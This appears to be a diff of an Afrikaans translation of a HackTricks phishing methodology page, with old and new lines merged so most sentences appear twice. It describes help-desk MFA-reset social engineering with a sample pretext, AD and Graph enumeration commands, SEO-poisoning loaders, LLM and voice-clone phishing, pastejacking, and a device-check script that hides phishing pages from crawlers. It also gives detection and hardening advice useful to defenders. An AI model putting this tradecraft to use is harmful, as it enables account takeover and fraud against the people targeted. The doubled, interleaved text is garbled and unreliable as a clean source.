Daar is egter ander maniere om te weet of die slagoffer **aktiwiteit soek na verdagte phishing in die wild** soos verduidelik in: Daar is egter ander maniere om te weet of die slagoffer **aktiwiteit uitvoer om na verdagte phishing-aktiwiteit te soek** soos verduidelik in:
{{#ref}} {{#ref}}
detecting-phising.md detecting-phising.md
{{#endref}} {{#endref}}
Jy kan **'n domein met 'n baie soortgelyke naam koop** as die slagoffer se domein **en/of 'n sertifikaat genereer** vir 'n **subdomein** van 'n domein wat jy beheer **wat die sleutelwoord** van die slagoffer se domein bevat. As die **slagoffer** enige vorm van **DNS of HTTP-interaksie** met hulle uitvoer, sal jy weet dat **hy aktief kyk** na verdagte domeine en jy sal baie stil moet wees. Jy kan **'n domein koop met 'n baie soortgelyke naam** aan die slagoffer se domein **en/of 'n sertifikaat genereer** vir 'n **subdomein** van 'n domein wat deur jou beheer word wat die **sleutelwoord** van die slagoffer se domein bevat. As die **slagoffer** enige soort **DNS- of HTTP-interaksie** met hulle uitvoer, sal jy weet dat **hulle aktief na verdagte domeine soek** en sal jy baie stil en versigtig moet optree.
### Evaluate the phishing ### Evalueer die phishing
Gebruik [**Phishious** ](https://github.com/Rices/Phishious) om te evalueer of jou e-pos in die spam-vou/ folder gaan beland of of dit geblokkeer of suksesvol sal wees. Gebruik [**Phishious** ](https://github.com/Rices/Phishious) om te evalueer of jou e-pos in die spam-lêergids gaan beland, geblokkeer gaan word of suksesvol sal wees.
## High-Touch Identity Compromise (Help-Desk MFA Reset) ## Hoë-kontak identiteitskompromie (Help-Desk MFA-herset)
Moderne indringingsettings slaan toenemend e-poslokkies heeltemal oor en **teiken direk die service-desk / identity-recovery werkstroom** om MFA te omseil. Die aanval is volledig "living-off-the-land": sodra die operateur geldige credentials besit, pivot hulle met ingeboude admin-gereedskap geen malware is nodig nie. Moderne indringingsgroepe slaan toenemend e-poslokmiddels heeltemal oor en mik **direk na die service-desk / identity-recovery-werkvloei** om MFA te omseil. Die aanval is volledig "living-off-the-land": sodra die operateur oor geldige credentials beskik, skakel hulle na ingeboude admin-instrumente geen malware is nodig nie.
### Attack flow ### Aanvalvloei
1. Recon the victim 1. Rekognosering van die slagoffer
* Versamel persoonlike en korporatiewe besonderhede van LinkedIn, data breaches, openbare GitHub, ens. * Versamel persoonlike & korporatiewe besonderhede vanaf LinkedIn, databreuke, openbare GitHub, ens.
* Identifiseer hoë-waarde identiteite (uitvoerende, IT, finansies) en enumereer die **presiese help-desk proses** vir wagwoord / MFA-hersetting. * Identifiseer hoë-waarde identiteite (uitvoerende beamptes, IT, finansies) en som die **presiese help-desk proses** vir wagwoord / MFA-herset op.
2. Real-time social engineering 2. Real-time sosial ingenieurskap
* Bel, gebruik Teams of klets die help-desk terwyl jy die teiken imiteer (dikwels met **gespoofte caller-ID** of **gekloonde stem**). * Bel, gebruik Teams of chat met die help-desk terwyl jy die teiken naboots (dikwels met **gespoofte caller-ID** of **gekloneerde stem**).
* Verskaf die vooraf-versamelde PII om kennisgebaseerde verifikasie te slaag. * Verskaf die voorheen versamelde PII om kennisgebaseerde verifikasie te slaag.
* Oorred die agent om die **MFA-geheim te reset** of 'n **SIM-swap** op 'n geregistreerde mobiele nommer uit te voer. * Oortuig die agent om die **MFA secret te reset** of 'n **SIM-swap** op 'n geregistreerde selfoonnommer uit te voer.
3. Immediate post-access actions (≤60 min in real cases) 3. Onmiddellike poste-toegang aksies (≤60 min in werklike gevalle)
* Vestig 'n voet in enige web SSO-portal. * Vestig 'n voet aan wal deur enige web SSO-portaal.
* Enumereer AD / AzureAD met ingeboude hulpmiddels (geen binaries word afgelaai nie): * Som AD / AzureAD op met ingeboude gereedskap (geen binaries word afgelaai nie):
```powershell ```powershell
# list directory groups & privileged roles # list directory groups & privileged roles
Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME}
@ -467,56 +466,56 @@ Get-MgDirectoryRole | ft DisplayName,Id
# Enumerate devices the account can login to # Enumerate devices the account can login to
Get-MgUserRegisteredDevice -UserId <user@corp.local> Get-MgUserRegisteredDevice -UserId <user@corp.local>
``` ```
* Laterale beweging met **WMI**, **PsExec**, of regmatige **RMM** agents wat reeds op die witlys in die omgewing is. * Laterale beweging met **WMI**, **PsExec**, of wettige **RMM** agents wat reeds op 'n witlys in die omgewing is.
### Detection & Mitigation ### Opsporing & Versagting
* Behandel help-desk identity recovery as 'n **geprivilegieerde operasie** vereis step-up auth & bestuurder goedkeuring. * Behandel help-desk identiteitsherstel as 'n **geprivilegieerde operasie** vereis step-up auth & bestuurdergoedkeuring.
* Ontplooi **Identity Threat Detection & Response (ITDR)** / **UEBA** reëls wat waarsku oor: * Ontplooi **Identity Threat Detection & Response (ITDR)** / **UEBA** reëls wat waarsku oor:
* MFA-metode verander + verifikasie vanaf nuwe toestel / geo. * MFA-metode verander + verifikasie vanaf nuwe toestel / geo.
* Onmiddellike verhoging van dieselfde prinsipal (user → admin). * Onmiddellike opheffing van dieselfde prinsipal (user-→-admin).
* Neem help-desk oproepe op en afdwing 'n **terugbel na 'n reeds- geregistreerde nommer** voordat enige reset plaasvind. * Neem help-desk oproepe op en dring aan op 'n **terugbel na 'n reeds geregistreerde nommer** voor enige herstel.
* Implementeer **Just-In-Time (JIT) / Privileged Access** sodat nuut-geresette rekeninge **nie** outomaties hoë-privaatheids-tokens erf nie. * Implementeer **Just-In-Time (JIT) / Privileged Access** sodat pas-hersette rekeninge **nie** outomaties hoë-privilegie tokens erf nie.
--- ---
## At-Scale Deception SEO Poisoning & “ClickFix” Campaigns ## Grootskaalse Misleiding SEO Poisoning & “ClickFix” Velddtogte
Kommoditeits groepe kompenseer die koste van hoog-aanraking operasies met massa-aanvalle wat **soekenjins & advertensienetwerke in die afleweringskanaal omskep**. Commoditeitsgroepe kompenseer die koste van hoë-kontak operasies met massaanvalle wat **soekenjins & advertensienetwerke in die afleweringskanaal omskep**.
1. **SEO poisoning / malvertising** druk 'n vervalste resultaat soos `chromium-update[.]site` na die top soekadvertensies. 1. **SEO poisoning / malvertising** dryf 'n valse resultaat soos `chromium-update[.]site` bo-aan soekadvertensies.
2. Slagoffer laai 'n klein **first-stage loader** af (dikwels JS/HTA/ISO). Voorbeelde gesien deur Unit 42: 2. Slagoffer laai 'n klein **first-stage loader** af (dikwels JS/HTA/ISO). Voorbeelde gesien deur Unit 42:
* `RedLine stealer` * `RedLine stealer`
* `Lumma stealer` * `Lumma stealer`
* `Lampion Trojan` * `Lampion Trojan`
3. Loader exfiltreer blaaier-cookies + credential DBs, en trek dan 'n **silent loader** wat besluit *in reële tyd* of dit gaan ontplooi: 3. Loader eksfiltreer blaaierkoekies + credential DBs, en trek dan 'n **silent loader** wat realtime besluit of dit gaan ontplooi:
* RAT (bv. AsyncRAT, RustDesk) * RAT (bv. AsyncRAT, RustDesk)
* ransomware / wiper * ransomware / wiper
* persistentie-komponent (registry Run key + scheduled task) * persistence component (registry Run key + scheduled task)
### Hardening tips ### Verhardingswenke
* Blokkeer pas-ged registreerde domeine & afdwing **Advanced DNS / URL Filtering** op *search-ads* sowel as e-pos. * Blokkeer onlangs- geregistreerde domeine & handhaaf **Advanced DNS / URL Filtering** op *search-ads* sowel as e-pos.
* Beperk sagteware-installasie tot ondertekende MSI / Store-pakkette, weier `HTA`, `ISO`, `VBS` uitvoering deur beleid. * Beperk sagteware-installasie tot gesigneerde MSI / Store-pakkette, weier `HTA`, `ISO`, `VBS` uitvoering per beleid.
* Monitor vir kind-prosesse van blaaiers wat installateurs open: * Monitor vir child processes van blaaiers wat installateurs open:
```yaml ```yaml
- parent_image: /Program Files/Google/Chrome/* - parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe and child_image: *\\*.exe
``` ```
* Jaag LOLBins wat gereeld misbruik word deur first-stage loaders (bv. `regsvr32`, `curl`, `mshta`). * Jag na LOLBins wat dikwels deur first-stage loaders misbruik word (bv. `regsvr32`, `curl`, `mshta`).
--- ---
## AI-Enhanced Phishing Operations ## KI-/AI-Verbeterde Phishing Operasies
Aanvallers ketting nou **LLM & voice-clone APIs** vir volledig gepersonaliseerde lokmiddels en reële-tyd interaksie. Aanvallers ketting nou **LLM & voice-clone APIs** vir volledig gepersonaliseerde lokmiddels en realtime interaksie.
| Layer | Example use by threat actor | | Layer | Example use by threat actor |
|-------|-----------------------------| |-------|-----------------------------|
|Automation|Genereer & stuur >100k e-posse / SMS met gerandomiseerde bewoording & volgskakels.| |Automation|Genereer & stuur >100 k e-posse / SMS met gerandomiseerde bewoording & volgskakels.|
|Generative AI|Skep *eenmalige* e-posse wat na publieke M&A verwys, binnejokes van sosiale media; deep-fake CEO-stem in terugbelbedrog.| |Generative AI|Produseer *one-off* e-posse wat verwys na openbare M&A, binnetjied-grappe vanaf sosiale media; deep-fake CEO-stem in terugbelskema.|
|Agentic AI|Registreer outonoom domeine, skraap open-source intel, skryf volgende-trap e-posse wanneer 'n slagoffer klik maar nie creds indien nie.| |Agentic AI|Registreer outonoom domeine, skraap oopbron intel, vervaardig volgende-stap e-posse wanneer 'n slagoffer klik maar nie kredensiale indien nie.|
**Verdediging:** **Verdedigingsmaatreëls:**
• Voeg **dinamiese baniere** by wat boodskappe wat deur onbetroubare automasie gestuur is beklemtoon (via ARC/DKIM anomalieë). • Voeg **dynamiese banners** by wat boodskappe uit onbetroubare outomatisering uitlig (via ARC/DKIM anomalieë).
Ontplooi **stem-biometriese uitdaging-frasies** vir hoog-risiko telefoonversoeke. Implementeer **voice-biometric challenge phrases** vir hoë-risiko telefoonversoeke.
• Simuleer voortdurend AI-gegenereerde lokmiddels in bewustheidsprogramme statiese sjablone is verouderd. • Simuleer voortdurend KI-genereerde lokmiddels in bewusmakingsprogramme statiese sjablone is verouderd.
See also agentic browsing abuse for credential phishing: See also agentic browsing abuse for credential phishing:
@ -526,20 +525,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
--- ---
## MFA Fatigue / Push Bombing Variant Forced Reset ## MFA Vermoeidheid / Push Bombing Variant Gedwonge Herset
Benewens klassieke push-bombing, dwing operateurs eenvoudig **'n nuwe MFA-registrasie af** tydens die help-desk oproep, wat die gebruiker se bestaande token ongeldig maak. Enige daaropvolgende aanmeldprompt lyk vir die slagoffer eg. Benewens klassieke push-bombing, dwing operateurs eenvoudigweg **'n nuwe MFA-registrasie af** tydens die help-desk oproep, wat die gebruiker se bestaande token nietig maak. Enige daaropvolgende aanmeldprompt sal vir die slagoffer eg lyk.
```text ```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail [Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device [Attacker] → Completes new TOTP enrolment on their own device
``` ```
Moniteer vir AzureAD/AWS/Okta-gebeurtenisse waar **`deleteMFA` + `addMFA`** binne minute vanaf dieselfde IP plaasvind. Moniteer AzureAD/AWS/Okta gebeure waar **`deleteMFA` + `addMFA`** binne minute vanaf dieselfde IP plaasvind.
## Clipboard Hijacking / Pastejacking ## Clipboard Hijacking / Pastejacking
Aanvallers kan stilweg kwaadwillige opdragte na die slagoffer se knipbord kopieer vanaf 'n gekompromitteerde of typosquatted webblad, en dan die gebruiker mislei om dit in te plak binne **Win + R**, **Win + X** of 'n terminalvenster, waardeur willekeurige kode uitgevoer word sonder enige aflaai of aanhangsel. Attackers can silently copy malicious commands into the victims clipboard from a compromised or typosquatted web page and then trick the user to paste them inside **Win + R**, **Win + X** or a terminal window, executing arbitrary code without any download or attachment.
{{#ref}} {{#ref}}
@ -553,12 +552,40 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md mobile-phishing-malicious-apps.md
{{#endref}} {{#endref}}
## Verwysings ### Mobilegated phishing to evade crawlers/sandboxes
Operators plaas toenemend hul phishing-flows agter 'n eenvoudige toestelkontrole sodat desktop crawlers nooit die finale bladsye bereik nie. 'n Algemene patroon is 'n klein script wat toets of die DOM touchcapable is en die resultaat na 'n server endpoint stuur; niemobile kliënte ontvang HTTP 500 (of 'n leë bladsy), terwyl mobile gebruikers die volledige flow bedien kry.
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` logika (vereenvoudigde):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Bedienergedrag wat gereeld waargeneem word:
- Stel 'n sessie-cookie tydens die eerste laai.
- Aanvaar `POST /detect {"is_mobile":true|false}`.
- Gee 500 (of 'n plaasvervanger) terug vir opvolg GETs wanneer `is_mobile=false`; bedien phishing slegs as `true`.
Opsporing en deteksie-heuristieke:
- urlscan query: `filename:"detect_device.js" AND page.status:500`
- Web-telemetrie: volgorde van `GET /static/detect_device.js``POST /detect` → HTTP 500 vir nie-mobiele; regte mobiele slagoffer-paaie lewer 200 met opvolgende HTML/JS.
- Blokkeer of ondersoek bladsye wat inhoud uitsluitlik op `ontouchstart` of soortgelyke toestelkontroles kondisioneer.
Verdedigingswenke:
- Voer crawlers uit met mobiele-agtige vingerafdrukke en JS aangeskakel om toegangsbeperkte inhoud te openbaar.
- Waarskuw by verdagte 500-reaksies wat volg op `POST /detect` op onlangs geregistreerde domeine.
## References
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
- [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) - [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) - [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}